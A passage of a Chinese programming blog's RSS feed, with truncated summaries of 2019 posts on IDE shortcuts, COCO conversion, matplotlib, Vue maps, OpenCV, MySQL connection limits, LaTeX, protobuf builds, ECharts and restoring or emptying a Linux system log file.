重命名&#xA;Ctrl+X，删除行&#xA;Ctrl+D，复制行&#xA;Ctrl+/或Ctrl+Shift+/，注释（//或者/**/）&#xA;Ctrl+J，自动代码（例如：serr）&#xA;Ctrl+Alt+J，用动态模板环绕&#xA;Ctrl+H，显示类结构图（类的继承层次）&#xA;Ctrl+Q，显示注释文档&#xA;Alt+F1，查找代码所在位置&#xA;Alt+1，快速打开或隐藏工程面板&#xA;Ctrl+Alt+left/right，返回至上次浏览的位置&#xA;Alt+left/right，切换代码视图&#xA;Alt+Up/Down，在方法间快速移动定位&#xA;Ctrl+Shift+Up/Down，向上/下移动语句&#xA;F2 或 Shift+F2，高亮错误或警告快速定位&#xA;Tab，代码标签输入完成后，按 Tab，生成代码&#xA;Ctrl+Shift+F7，高亮显示所有该文本，按 Esc 高亮消失&#xA;Alt+F3，逐个往下查找相同文本，并高亮显示&#xA;Ctrl+Up/Down，光标中转到第一行或最后一行下&#xA;Ctrl+B/Ctrl+Click，快速打开光标处的类或方法（跳转到定义处）&#xA;Ctrl+Alt+B，跳转到方法实现处&#xA;Ctrl+Shift+Backspace，跳转到上次编辑的地方&#xA;Ctrl+O，重写方法</description>
    </item>
    <item>
      <title>将labelme标记的数据转为coco格式</title>
      <link>https://bchobby.github.io/posts/acdcdd360f58b0f1bcc38f8daef0f6a6/</link>
      <pubDate>Thu, 23 May 2019 18:36:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acdcdd360f58b0f1bcc38f8daef0f6a6/</guid>
      <description>将labelme标记的数据转为coco格式&#xA;将labelme标记的数据转为coco格式 这次转化主要是为了使用官方的mask_rcnn源码。&#xA;coco数据集主要是images,categories,annotations（数据格式都是list）&#xA;coco是把所有图片的信息都整合在一起了，成了一个dict&#xA;images:主要有height，width，id，file_name#id是图片id&#xA;categories:主要有supercategory,id,name#id是category的id&#xA;annotations:主要有segmentation，iscrowd,image_id,bbox,area,category_id,id&#xA;要注意在annotations里id之间的关系&#xA;coco的格式是&#xA;{&#xA;images:[{height，width，id，file_name}, {height，width，id，file_name}…]&#xA;categories：[{supercategory,id,name},{supercategory,id,name}…]&#xA;annotations:[{segmentation，iscrowd,image_id,bbox,area,category_id,id},{segmentation，iscrowd,image_id,bbox,area,category_id,id}]&#xA;转为coco格式&#xA;import numpy as np import json import glob class MyEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, np.integer): return int(obj) elif isinstance(obj, np.floating): return float(obj) elif isinstance(obj, np.ndarray): return obj.tolist() else: return super(MyEncoder, self).default(obj) class tococo(object): def __init__(self,jsonfile,save_path): self.images = [] self.categories = [] self.annotations = [] self.jsonfile = jsonfile self.save_path = save_path#保存json的路径 self.class_ids = {&#34;</description>
    </item>
    <item>
      <title>matplotlib绘制饼图</title>
      <link>https://bchobby.github.io/posts/aaee075368f4c2c5e26f13c27b04ed82/</link>
      <pubDate>Thu, 23 May 2019 18:14:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaee075368f4c2c5e26f13c27b04ed82/</guid>
      <description>Python数据可视化中在用matplotlib解决问题的时候，通常会遇到以下一些问题：&#xA;1.离散型数据都有哪些可用的可视化方法&#xA;2.数值型的单变量可用哪些图形展示&#xA;3.多维数据之间的图形展现&#xA;4.如何将多个图形绘制到一个画框内&#xA;下面首先教大家如何画饼图：&#xA;代码：&#xA;# 饼图的绘制&#xA;# 导入第三方模块&#xA;import matplotlib.pyplot as plt&#xA;# 构造数据&#xA;edu = [0.2515,0.3724,0.3336,0.0368,0.0057]&#xA;labels = [&#39;中专&#39;,&#39;大专&#39;,&#39;本科&#39;,&#39;硕士&#39;,&#39;其他&#39;]&#xA;# 绘制饼图&#xA;plt.pie(x = edu, # 绘图数据&#xA;labels=labels, # 添加教育水平标签&#xA;autopct=&#39;%.1f%%&#39; # 设置百分比的格式，这里保留一位小数&#xA;)&#xA;# 添加图标题&#xA;plt.title(&#39;失信用户的教育水平分布&#39;)&#xA;# 显示图形&#xA;plt.show()&#xA;结果：&#xA;图中是一个不加任何修饰的饼图，那么如何修饰饼图呢？&#xA;code：&#xA;# 添加修饰的饼图 explode = [0,0.1,0,0,0] # 生成数据，用于突出显示大专学历人群&#xA;colors=[&#39;#9999ff&#39;,&#39;#ff9999&#39;,&#39;#7777aa&#39;,&#39;#2442aa&#39;,&#39;#dd5555&#39;] # 自定义颜色&#xA;# 中文乱码和坐标轴负号的处理&#xA;plt.rcParams[&#39;font.sans-serif&#39;] = [&#39;Microsoft YaHei&#39;]&#xA;plt.rcParams[&#39;axes.unicode_minus&#39;] = False&#xA;# 将横、纵坐标轴标准化处理，确保饼图是一个正圆，否则为椭圆&#xA;plt.axes(aspect=&#39;equal&#39;)&#xA;# 绘制饼图</description>
    </item>
    <item>
      <title>在vue中使用高德地图（异步引入方式）</title>
      <link>https://bchobby.github.io/posts/07e4a1e3dd9205ac35de4cbd01b3f489/</link>
      <pubDate>Thu, 23 May 2019 16:22:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07e4a1e3dd9205ac35de4cbd01b3f489/</guid>
      <description>问题来源 项目需要是使用到地图，并不是所有页面都用到，所以采用异步加载当时引入地图&#xA;开始 在vue项目目录下创建plugins文件夹，并在里面创建amap.js 文件&#xA;/* * 异步创建script标签 */ export default function MapLoader (key) { return new Promise((resolve, reject) =&amp;gt; { if (window.AMap) { resolve(window.AMap) } else { var script = document.createElement(&#39;script&#39;) script.type = &#39;text/javascript&#39; script.async = true script.src = &#39;http://webapi.amap.com/maps?v=1.3&amp;amp;callback=initAMap&amp;amp;key=&#39; + key script.onerror = reject document.head.appendChild(script) } window.initAMap = () =&amp;gt; { resolve(window.AMap) } }) } – 使用&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;test&#34;&amp;gt; &amp;lt;div id=&#34;container&#34; style=&#34;height:300px;width:300px;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import MapLoader from &#39;@/plugins/amap.</description>
    </item>
    <item>
      <title>python 之 __new__ 方法理解</title>
      <link>https://bchobby.github.io/posts/9cb9843e86dd82b5ced5318d3acfd152/</link>
      <pubDate>Thu, 23 May 2019 14:30:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cb9843e86dd82b5ced5318d3acfd152/</guid>
      <description>python的new方法 使用场景不同效果也不一样&#xA;一种是指定元类时候， metaclass=MyType 类型&#xA;这种方式 在解释器执行到 metaclass=CrawlerProxyMetaclass&#xA;的时候， __new__方法就开始执行！&#xA;这里的 __new__方法是用来创建类对象的&#xA;class CrawlerProxyMetaclass(type): def __new__(cls, classname, parentclass, attrs): attrs[&#39;__crawl_method__&#39;] = [] print(&#39;in method new &#39;) count = 0 for key, value in attrs.items(): if key.startswith(&#39;crawl_&#39;): attrs[&#39;__crawl_method__&#39;].append(key) count += 1 attrs[&#39;__crawl_method_count__&#39;] = count return super().__new__(cls, classname, parentclass, attrs) #return type.__new__(cls, classname, parentclass, attrs) 一种普通普通的继承关系 调用父类的__new__方法&#xA;这里的__new__方法是用来创建对象实例的&#xA;创建对象的时候才会被调用&#xA;先看object的 __new__方法&#xA;@staticmethod # known case of __new__ def __new__(cls, *more): # known special case of object.</description>
    </item>
    <item>
      <title>[OpenCV实战]31 使用OpenCV将一个三角形仿射变换到另一个三角形</title>
      <link>https://bchobby.github.io/posts/84ba6bba8b8173377371fc17fe82bfa4/</link>
      <pubDate>Thu, 23 May 2019 10:58:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84ba6bba8b8173377371fc17fe82bfa4/</guid>
      <description>目录&#xA;1 什么是仿射变换？&#xA;2 使用OpenCV进行三角形仿射变换&#xA;2.1 定义输入和输出&#xA;2.2 计算边界框&#xA;2.3 裁剪图像和更改坐标&#xA;2.4 计算仿射变换矩形&#xA;2.5 应用仿射变换到三角形&#xA;2.6 屏蔽三角形外的像素&#xA;3 代码&#xA;4 参考&#xA;在本文中，我们会看到如何将一个三角形仿射变换到另一个三角形。在图形学的研究中，研究者常常进行三角形之间的变换操作，因为任意的3D表面都可以用多个三角形去近似表示。同样的，图像也可以分解成多个三角形来表示。但是在OpenCV中并没有直接将三角形仿射变换成另一个三角形的函数。本教程将逐步说明如何将下图中左图中的三角形转换为右图。&#xA;在我们深入研究代码之前，我们需要了解仿射变换是什么。&#xA;1 什么是仿射变换？ 仿射变换是将一个3个点的点集（即三角形）来转换到任意3个点另一点集的最简单的方法。它包含平移（移动），缩放，旋转和裁剪等操作。下图说明了如何使用仿射变换来改变正方形的形状。请注意，使用仿射变换，您可以在任何方向和比例下将正方形的形状更改为平行四边形。然而，仿射变换不够灵活，无法将方形变换为任意四边形。换句话说，在仿射变换之后，平行线继续平行。&#xA;在OpenCV中，仿射变换可以用一个2×3的矩阵表示，这个矩阵的前两列表示旋转、缩放、裁剪操作，最后一列表示平移操作。如下公式所示：&#xA;给定一点，上面的仿射变换使用下面给出的等式得到点：&#xA;2 使用OpenCV进行三角形仿射变换 我们现在知道，要将三角形变形到另一个三角形，我们将需要使用仿射变换。在OpenCV中，warpAffine函数允许您对图像应用仿射变换，但不能对图像内的三角形区域应用仿射变换。&#xA;为了克服这个限制，我们在源三角形周围找到一个边界框，并从源图像中裁剪出矩形区域。然后，我们将仿射变换应用于裁剪图像以获得输出图像。前一步是至关重要的，因为它允许我们将仿射变换应用于图像的某一区域，从而提高计算性能。最后，我们通过用白色填充输出三角形内的像素来创建三角形掩模。与输出图像相乘时，此掩模将三角形外部的所有像素变为黑色，同时保留三角形内所有像素的颜色。在我们进入细节之前，让我们读入输入和输出图像，并定义输入和输出三角形。对于本教程，我们的输出图像只是白色，但如果您愿意，可以读取另一个图像。&#xA;2.1 定义输入和输出 我们现在需要定义输入图像和输出图像，以及输入输出三角形坐标。我们已准备好完成将输入三角形内的所有像素转换为输出三角形所需的步骤。输入输出设定代码如下：&#xA;C++:&#xA;// Read input image and convert to float Mat img1 = imread(&#34;robot.jpg&#34;); img1.convertTo(img1, CV_32FC3, 1/255.0); // Output image is set to white Mat imgOut = Mat::ones(imgIn.size(), imgIn.type()); imgOut = Scalar(1.0,1.0,1.0); // Input triangle vector &amp;lt;Point2f&amp;gt; tri1; tri1.</description>
    </item>
    <item>
      <title>pymysql.err.OperationalError: (1040, u&#39;Too many connections&#39;)</title>
      <link>https://bchobby.github.io/posts/f42d9e23fa3213dbb3aa43218107e6af/</link>
      <pubDate>Thu, 23 May 2019 10:47:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f42d9e23fa3213dbb3aa43218107e6af/</guid>
      <description>本文适用linux系统下的mysql&#xA;适用问题：程序连接mysql，且有正常close连接。但是某个时刻报错1040, u’Too many connections’&#xA;产生的原因：客户端程序close，但是mysql依然保持连接，只是连接处于睡眠状态。默认mysql保持连接8小时，超过8小时后连接关闭&#xA;问题查看：&#xA;连接数据库 mysql -u xxx -p&#xA;查看最大连接数和使用连接数&#xA;show variables like ‘max_connections’; 显示214，默认保留一个连接给管理员，所以最大连接数为215&#xA;show global status like ‘Max_used_connections’; 显示215，当前连接和程序连接&#xA;show processlist 可以看到程序不在运行但是有很多程序的连接依然存在&#xA;show status like ‘Threads%’; Threads_connected | 57 这个数值指的是打开的连接数； Threads_running | 4 这个数值指的是激活的连接数&#xA;从上面可以确定，mysql存在着大量的未激活连接&#xA;解决方法：&#xA;一、治标法：&#xA;重启mysql：&#xA;service mysql stop&#xA;service mysql start&#xA;二、治本法：&#xA;1、修改mysql数据库的连接的保持时间（不推荐）&#xA;修改/etc/mysql/my.cnf中[mysqld]下增加&#xA;interactive_timeout=600&#xA;wait_timeout=600&#xA;网上其他教程为连接数据库后修改全局变量，但是出现问题为每次重启数据库，mysql读取配置文件后，设置的值重新设为默认值&#xA;2、连接池&#xA;3、客户端程序设置连接（我的程序并没有这种设置，唉）</description>
    </item>
    <item>
      <title>Windows不能在本地计算机启动VMware Workstation Server</title>
      <link>https://bchobby.github.io/posts/617d4042269f80eb6a32351ac3bdad9d/</link>
      <pubDate>Thu, 23 May 2019 09:18:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/617d4042269f80eb6a32351ac3bdad9d/</guid>
      <description>vmware workstation server 服务无法启动&#xA;当启动windows服务vmware workstation server 时，提示：&#xA;Windows不能在本地计算机启动VMware Workstation Server,有关更多信息，查阅系统事件日志，如果这是非Microsoft服务，请与服务厂商联系，并参考特定服务错误代码-1。&#xA;1、进入磁盘C的C:\ProgramData\VMware\hostd目录&#xA;2、找到datastores.xml文件删除&#xA;现在再重新启动下，应该就OK了。&#xA;关注个人公众号【Java软件编程之家】，免费电子书送你，还有完整Docker、ELK、Jenkins相关学习资料</description>
    </item>
    <item>
      <title>:before和:after的使用方法</title>
      <link>https://bchobby.github.io/posts/aed1338eaa3fbb16efc3413b8acb5bf6/</link>
      <pubDate>Wed, 22 May 2019 17:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aed1338eaa3fbb16efc3413b8acb5bf6/</guid>
      <description>伪元素可以让我们很方便的加入一个样式，比如在字体前加一个icon，或者加一个下换线，可以不占一个元素的位置，使用起来也很方便，现在介绍一下使用的方法。&#xA;注意：:before和:after中的content是必加项&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .test:before { content: &#34;《&#34;; color:red } .test:after { content: &#34;》&#34;; color:red } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;test&#34;&amp;gt;乔布斯自传&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 首先我们自定义一个div的标签，然后添加类名，在样式中为&#xA;.test:before { content:&#34;《&#34; color：red ｝ .test：after｛ content:&#34;》&#34; color:red ｝ 就会在前后出现一个书名号。&#xA;然后我们就会在这个elements中看到在元素的上下文中分别有一个::fefore和::after，注意是它没有在div的外边而是在元素的里面，它默认的是 d i s p l y : i n l i n e − b l o c k ( 但 是 我 们 尽 量 给 它 加 上 ) \color{red}{disply:inline-block(但是我们尽量给它加上)} disply:inline−block(但是我们尽量给它加上) 所以是 《 乔 布 斯 传 》 \color{red}{《乔布斯传》} 《乔布斯传》 这样显示。</description>
    </item>
    <item>
      <title>LaTex 自动化工具——超连接，交叉引用，跳转</title>
      <link>https://bchobby.github.io/posts/88f8a8c252474bedd8076321ba57cfe8/</link>
      <pubDate>Wed, 22 May 2019 17:00:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88f8a8c252474bedd8076321ba57cfe8/</guid>
      <description>文章目录 电子文档与超链接 电子文档与超链接 hyperref宏包可算是LaTeX最为复杂的宏包之一，它提供了大量的选项和命令，完成各种设置和功能，这里主要记录以PDF格式输出时，hyperref有关标签和超链接的一些最基本的功能和设置。&#xA;hyperref最基本的用法非常简单，就是直接调用此宏包：&#xA;\usepackage{hyperef}&#xA;如果使用ctex宏包或文档类，则可以加hyperef选项，这样啊ctex宏包会自动根据编码和编译方式选择合适的选项，避免出现乱码：&#xA;\documentclass[hyperref,UTF8]{ctexart}&#xA;引入hyperref后再编译文档时，会根据章节结构，自动生成目录结构的PDF文档标签。同时，正文中的目录和所有交叉引用，都会自动成为超链接，可以用鼠标点击跳转到引用位置。要得到正确的PDF标签，也应至少表一两遍文档。&#xA;除了直接加在 \usepackage ，也可以使用 \hypersetup 命令单独设置。 hyperref 的选项大多使用&amp;lt;选项&amp;gt;=&amp;lt;值&amp;gt;的方式设置，如果是布尔类型的真假值选项(true或false),通常可以省略为真的值，常见选项如下：&#xA;选项类型默认值说明colorlinks布尔false超链接用彩色显示bookmarks布尔true生成PDF目录书签bookmarksopen布尔false在PDF阅读器中自动打开书签bookmarksnumbered布尔false目录书签带编号pdfborder数 数 数0 0 1当colorlink为假时，超链接由彩色边框包围(不会被打印)。默认值表示1pt宽的边框，可以设置为0 0 0 表示没有边框。pdfpagemode文本在PDF阅读器中的页面显示方式，常用值是FullScreen，表示全屏显示pdfstartview文本Fit在PDF阅读器中的页面缩放大小，默认值Fit表示“适合页面”；常用取值有适合宽度FitH，适合高度FitVpdftitle文本文档标题，会在PDF文档属性中显示pdfauthor文本文档作者，会在PDF文档属性中显示pdfsubject文本文档主题，会在PDF文档属性中显示pdfkeywords文本文档关键字，会在PDF文档属性中显示 除此之外，可以用 \url 命令输出URL地址，同时也具有超链接的功能。与排版纯文本不同，找 \url 命令的参数中，网址允许使用合法符号直接输入，并且默认以打字机字体输出，如果URL地址不需要超链接的效果，可以改用 \nolinkurl 命令。&#xA;\href{}{文字} 命令可以用来使文字产生指向URL地址的超链接效果。&#xA;\hyperref[&amp;lt;标签&amp;gt;]{&amp;lt;文字&amp;gt;} 命令可以用来产生使文字执行标签的超链接效果，这里方括号中的标签与 \ref 使用的标签相同，不能省略。&#xA;\hypertarget{&amp;lt;名称&amp;gt;}{&amp;lt;文字&amp;gt;} 用来给文字定义带有名称的链接点，在文档的其他地方，则可以使用命令 \hyperlink{&amp;lt;名称&amp;gt;}{&amp;lt;文字&amp;gt;} 让另一段文字链接到指定名称的连接点。</description>
    </item>
    <item>
      <title>多数据提交和还原-前端解决方案</title>
      <link>https://bchobby.github.io/posts/4b5db2e0cc82490e01c289f8bdafc7b0/</link>
      <pubDate>Tue, 21 May 2019 17:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b5db2e0cc82490e01c289f8bdafc7b0/</guid>
      <description>业务场景： 表单页面提交数据保存再次打开此页面请求之前保存的数据，编辑保存 问题： 数据量太大了，有几百个输入框，还有单选，多选，文本域，下拉选项等，一值对应一字段不大可行 解决方案： 对于额外用途的数据(不仅仅在此页面展示)，需要和后端定义明确的字段仅在当前页面展示的数据，用 对象转字符串 保存，对象用于存储只在当页展示的数据 具体实现方法(以vue为例): 原数据生产方法：用于返回一个json对象，在数据还原的时候，能找到在页面中所处的位置&#xA;function createOriginData (num) { const data = {} for (let i = 0; i &amp;lt;= num; i++) { data[i] = &#39;&#39; } return data } 数据格式：&#xA;data () { return { formVal: { // 不需在在此定义，比如直接在页面通过 formVal.xxx 赋值的操作 confirmStr: &#39;&#39;, // 和后台明确定义的数据，在其他地方有用 tmpStr: &#39;&#39;, // 特殊情况需要定义的数据，防止页面报错 tmpArr: [], // 用于页面的数组系列的数据 createObj: createOriginData(10), // 用于仅在当页展示的数据 } } } html：&#xA;// 可以开始不在formVal设置默认值 &amp;lt;input v-model=&#34;</description>
    </item>
    <item>
      <title>阻止element组件中的&lt;el-input/&gt;的粘贴功能（转）</title>
      <link>https://bchobby.github.io/posts/a60607fa90dc3004d508770c9277785a/</link>
      <pubDate>Tue, 21 May 2019 17:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a60607fa90dc3004d508770c9277785a/</guid>
      <description>需求: 阻止element组件中的&amp;lt;el-input/&amp;gt;的粘贴功能&#xA;实现思路: &amp;lt;el-input/&amp;gt;组件是由外层&amp;lt;div&amp;gt;和内层的&amp;lt;input&amp;gt;组成的, 根据浏览器的事件传递机制(先捕获,后冒泡): 粘贴的时候会先执行绑定在外层div上的paste事件捕获方法, 然后再到内层的input, 因此可以在组件上捕获监听paste事件, 并阻止向下传播即可&#xA;代码实现:&#xA;&amp;lt;!-- handlePaste方法可以随意写 --&amp;gt; &amp;lt;el-input v-model=&#34;input&#34; placeholder=&#34;请输入内容&#34; @paste.native.capture.prevent=&#34;handlePaste&#34;&amp;gt; &amp;lt;/el-input&amp;gt; 事件修饰符说明:&#xA;native: 表明这个是dom的原生事件,如果不加native, vue会认为paste是一个自定义事件,必须要在组件内手动触发, 那么在粘贴的时候自然就不会触发了capture: 表明这个方法在捕获阶段执行,默认为冒泡执行,参考addEventListener方法中的useCapture参数prevent: 相当于event.preventDefault阻止默认行为, 同时也会阻止事件的向下传递和向上冒泡 转载于：https://www.jianshu.com/p/4d9d83fed298；&#xA;https://www.jianshu.com/p/4d9d83fed298&#xA;转载于:https://www.cnblogs.com/wilsunson/p/10901225.html</description>
    </item>
    <item>
      <title>arm指令__attribute__((at(addr)))的应用</title>
      <link>https://bchobby.github.io/posts/b9ec9a9e68eb8f3ae5ba622bff99d3cb/</link>
      <pubDate>Tue, 21 May 2019 16:08:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9ec9a9e68eb8f3ae5ba622bff99d3cb/</guid>
      <description>假如程序设定的起始地址为0，const uint32_t VALID_DATA __attribute__ ((at(0x00010000))) = 0xAABBCCDD;那么你生成的程序的bin文件或者hex文件的大小至少要大于0x10000，并且你从flash的0x2000这个位置下载bin文件，那么你就会在flash的0x12000这个位置读到0xAABBCCDD；至于const的地址小于程序设置的起始地址的时候，生成的bin文件会报错；</description>
    </item>
    <item>
      <title>在DataFrame中新建列赋值后全部为NaN的问题释疑</title>
      <link>https://bchobby.github.io/posts/c3424ecdc7a753f727543286f298ec7d/</link>
      <pubDate>Mon, 20 May 2019 22:00:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3424ecdc7a753f727543286f298ec7d/</guid>
      <description>在pandas中，有时候我们对一个df以如下方式新创建一个列，然后用一个Series赋值给新建的列，但是发现得到的新列的值全部为NaN，这是什么原因呢？&#xA;df[&#39;newColumn&#39;]=df_other[&#39;otherColumn&#39;] 注意以上赋值方式中，等号右边为一个Series，这时就需要考虑这个Series的index和df的index是否一致，如果不一致，那么就会造成在不一致的索引上的值全部为NaN，所以这个问题就是由Series赋值，索引不一致造成的。因为Series本身就带有索引，赋值时，还会同时按顺序进行两者的索引匹配，只有索引匹配上的行才会成功赋值，而没有匹配上的就会为NaN。&#xA;当我们不想要这种匹配，只想直接把df_other[&#39;otherColumn&#39;]的值赋给df[&#39;newColumn&#39;]时，只需去掉索引即可，可以通过list(df_other[&#39;otherColumn&#39;])或者df_other[&#39;otherColumn&#39;].values等方式进行转化，这样就可以避免这个问题。</description>
    </item>
    <item>
      <title>protobuf（C&#43;&#43;）的使用（windows）</title>
      <link>https://bchobby.github.io/posts/c6b510e31e42c612f93fe98071ef5195/</link>
      <pubDate>Mon, 20 May 2019 17:39:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6b510e31e42c612f93fe98071ef5195/</guid>
      <description>注：这里说的是C++版本的使用。&#xA;1.前言&#xA;官网：https://github.com/protocolbuffers/protobuf/releases&#xA;protobuf托管在github，在windows上使用需要自己编译，编译需要借助cmake。大概流程是：&#xA;a.下载源码--&amp;gt;b.cmake生成vs工程--&amp;gt;c.vs编译（所需lib文件和protoc.exe）--&amp;gt;d.自己的.proto文件生成对应的.h和.cc文件--&amp;gt;e.引入自己的工程使用&#xA;还有注意vs的版本和protobuf的版本，编译不成功，大概率是版本的问题。&#xA;2.准备（下载源码和工具）&#xA;（1）protobuf&#xA;最新到3.8.0版了，下载的时候，在该版本的最下面有个“尖”号（Assets），展开就看到了：&#xA;说明一下：我要使用protobuf的工程是vs2013，我下载的是3.2.0版本。也试过3.7.1版本用cmake生成失败了，下面再说。&#xA;（2）cmake&#xA;官网：https://cmake.org/download/&#xA;官网下载太慢了，还不如到网上随便找一个。&#xA;3.生成vs工程&#xA;打开cmake:&#xA;选择protobuf下的cmake路径为源码路径，新建文件夹protobuf_win为生成路径。&#xA;点击Configure弹出选择vs版本的对话框，（我选vs2013生成成功了）&#xA;4.编译protobuf&#xA;打开vs工程：&#xA;分别编译 libprotobuf和protoc这两个项目：&#xA;已debug为例，生成一下文件：libprotobufd.lib、libprotocd.lib和protoc.exe&#xA;5.生成***.cc和****.h文件 protobuf使用需要先把消息定义好，然后编译成自己的API，加入到自己的工程中使用。&#xA;(1)先编写myproto.proto文件： https://www.ibm.com/developerworks/cn/linux/l-cn-gpb/&#xA;syntax = &#34;proto2&#34;; package mypb; message helloworld { required int32 id = 1; required string str = 2; optional int32 opt=3; } package 名字叫做 mypb，定义了一个消息 helloworld，该消息有三个成员，类型为 int32 的 id，另一个为类型为 string 的成员 str。opt 是一个可选的成员，即消息中可以不包含该成员。&#xA;(2)编译myproto.proto文件：&#xA;可以使用dos窗口，进入到当前目录，执行：&#xA;--cpp_out是输出路径（./为当前路径），其他选项可以使用protoc --help查看&#xA;生成文件如下：&#xA;6.使用例子&#xA;新建工程protobuf，将libprotobufd.lib、libprotocd.lib进入自己的工程，注意这是静态编译的库（也可以在cmake的时候选择动态编译），所以在本工程需要选择静态&#xA;另外需要将3.2.0版本（根据自己编译的版本）的源码下的google文件夹引入到自己的工程，在myproto.pb.h中会找这些文件。&#xA;#include &#34;stdafx.h&#34; #include &amp;lt;iostream&amp;gt; #include &amp;lt;fstream&amp;gt; #include &#34;</description>
    </item>
    <item>
      <title>ECharts关系图，节点可拖拽，添加节点和边的点击事件</title>
      <link>https://bchobby.github.io/posts/f442448406b74c48f98353452966a75c/</link>
      <pubDate>Mon, 20 May 2019 16:24:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f442448406b74c48f98353452966a75c/</guid>
      <description>最近在做一个neo4j前端可视化的任务，对比了ECharts.js，Cytoscape.js和D3.js几个前端可视化工具，最终选择了ECharts.js，百度的一款开源工具，简单好用，比较容易上手。后台采用Python的Django框架，主要用于接收前端的请求，从neo4j数据库获取数据，并将数据传给前端服务器展示。这里只展示ECharts的用法以及自己的一些总结，为以后打下一个基础。首先展示下效果图：&#xA;EChart.js下载：https://www.echartsjs.com/download.html 点击进入下载页面后，选择一个版本，点击进入相应的github地址，在点击source code(zip)，下载完成后将其解压，在dist文件夹下又一个echarts.js文件，这个文件就是我们需要的，将其复制到项目中相应的js目录中即可。&#xA;由于这里采用的布局是force，不是通过坐标进行节点的生成，所以不能参考网上其他的采用坐标的节点拖拽。对此百度了许多，最后找到了一种合适的方法。我们需要对源码进行一些修改，只需要注释掉一行代码即可进行拖拽，这个方法主要参考另一位作者：https://blog.csdn.net/qq_38880340/article/details/85683322。打开源码，大概在1317行，将下图所示注释掉之后，选择保存即可。&#xA;我们在echarts.js同级目录下新建一个html文件，在head中引入echarts.js，在body中设置一个div，一定要设置这个div的宽和高，不然不会显示出关系图，完整代码如下所示。&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Echarts测试&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;echarts.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;chart1&#34; style=&#34;width: 1600px; height: 900px; margin: 0 auto; border: 2px solid #FF0000;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var entityRelation = [{&#34;r&#34;: {&#34;name&#34;: &#34;推荐食谱&#34;}, &#34;m&#34;: {&#34;name&#34;: &#34;绿豆薏米饭&#34;}}, {&#34;r&#34;: {&#34;name&#34;: &#34;推荐食谱&#34;}, &#34;m&#34;: {&#34;name&#34;: &#34;姜丝萝卜汤&#34;}}, {&#34;r&#34;: {&#34;name&#34;: &#34;推荐食谱&#34;}, &#34;m&#34;: {&#34;name&#34;: &#34;葱蒜粥&#34;}}, {&#34;r&#34;: {&#34;name&#34;: &#34;推荐食谱&#34;}, &#34;m&#34;: {&#34;name&#34;: &#34;薏米莲子粥&#34;}}, {&#34;r&#34;: {&#34;name&#34;: &#34;推荐食谱&#34;}, &#34;m&#34;: {&#34;name&#34;: &#34;赤小豆粥&#34;}}, {&#34;r&#34;: {&#34;name&#34;: &#34;</description>
    </item>
    <item>
      <title>linux系统清空日志/var/log/messages</title>
      <link>https://bchobby.github.io/posts/54207ed834bb7963904538a17369f8ba/</link>
      <pubDate>Mon, 20 May 2019 10:54:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54207ed834bb7963904538a17369f8ba/</guid>
      <description>这里先介绍如何恢复被误删除的日志文件：&#xA;Linux新手容易犯的一个错误是把日志文件给直接删除，而不是删除日志文件的内容。但是直接删除日志文件往往导致新产生的日志记录无法被写入到日志文件中（因为它已经被删除了），而仅仅重新新建（touch）同样名字的文件是解决不了问题的。&#xA;首先，在以root用户执行如下lsof命令，查询打开/var/log/messages文件的进程的进程ID(PID)：&#xA;lsof | grep messages 得到rsyslogd 544 syslog 7w REG 8,1 214641 134422 /var/log/messages 从上面命令输出可以看到，这个打开/var/log/messages文件的进程的PID是544，文件/var/log/messages的文件描述符（FD）号是7，根据上述的PID和FD，可以在/proc找到对应的文件：&#xA;ls -al /proc/544/fd/7 得到l-wx------ 1 root root 64 2012-07-14 14:48 7 -&amp;gt; /var/log/messages 将文件/proc/544/fd/7拷贝到/var/log/messages&#xA;cp /proc/544/fd/7 /var/log/messages 然后重新启动rsyslog服务即可恢复被误删除的日志文件，并且新的日志记录能够继续被写入日志文件，以root用户运行service命令:&#xA;service rsyslog restart 最后清空日志文件： cat /dev/null&amp;gt;/var/log/messages&#xA;下面介绍正确清空linux系统日志/var/log/messages的方法：&#xA;查询打开/var/log/messages文件的进程的进程ID(PID)：&#xA;lsof | grep messages&#xA;得到输出：&#xA;COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME rsyslogd 1455 root 4w REG 8,6 1299113404 2686 messages abrt-dump 1932 